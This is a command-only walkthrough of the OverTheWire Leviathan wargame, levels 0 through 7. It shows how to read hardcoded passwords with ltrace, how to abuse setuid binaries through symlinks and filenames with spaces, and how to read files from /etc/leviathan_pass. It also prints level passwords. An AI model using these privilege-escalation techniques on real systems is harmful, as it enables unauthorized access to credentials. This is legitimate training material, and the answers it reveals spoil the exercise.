**Leviathan commands**

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1)Level 0 → 1

ssh leviathan0@leviathan.labs.overthewire.org -p 2223

ls -la

cd .backup

grep "leviathan1" bookmarks.html

2)Level 1 → 2

ssh leviathan1@leviathan.labs.overthewire.org -p 2223

ls -la

ltrace ./check

./check

# Enter password: sex

cat /etc/leviathan\_pass/leviathan2

3)Level 2 → 3

ssh leviathan2@leviathan.labs.overthewire.org -p 2223

ls -la

mkdir /tmp/lev2\_exploit

cd /tmp/lev2\_exploit

echo "test" > legit\_file

ln -s /etc/leviathan\_pass/leviathan3 malicious\_link

touch "legit\_file malicious\_link"

~/printfile "legit\_file malicious\_link"

4)Level 3 → 4

ssh leviathan3@leviathan.labs.overthewire.org -p 2223

ls -la

ltrace ./level3

./level3

# Enter password: snlprintf

cat /etc/leviathan\_pass/leviathan4

5)Level 4 → 5

ssh leviathan4@leviathan.labs.overthewire.org -p 2223

ls -la

cd .trash

./bin

./bin | perl -lpe '$\_=pack"B\*",$\_'

# Output: 0dyxT7F4QD

6)Level 5 → 6

ssh leviathan5@leviathan.labs.overthewire.org -p 2223

ls -la

ln -s /etc/leviathan\_pass/leviathan6 /tmp/file.log

./leviathan5

# Output: szo7HDB88w

7)Level 6 → 7

ssh leviathan6@leviathan.labs.overthewire.org -p 2223

ls -la

./leviathan6 7123

cat /etc/leviathan\_pass/leviathan7

# Password: qEs5Io5yM8

8)Level 7 (Completion)

ssh leviathan7@leviathan.labs.overthewire.org -p 2223

ls -la

cat CONGRATULATIONS

# Output: "Well Done, you've completed Leviathan!"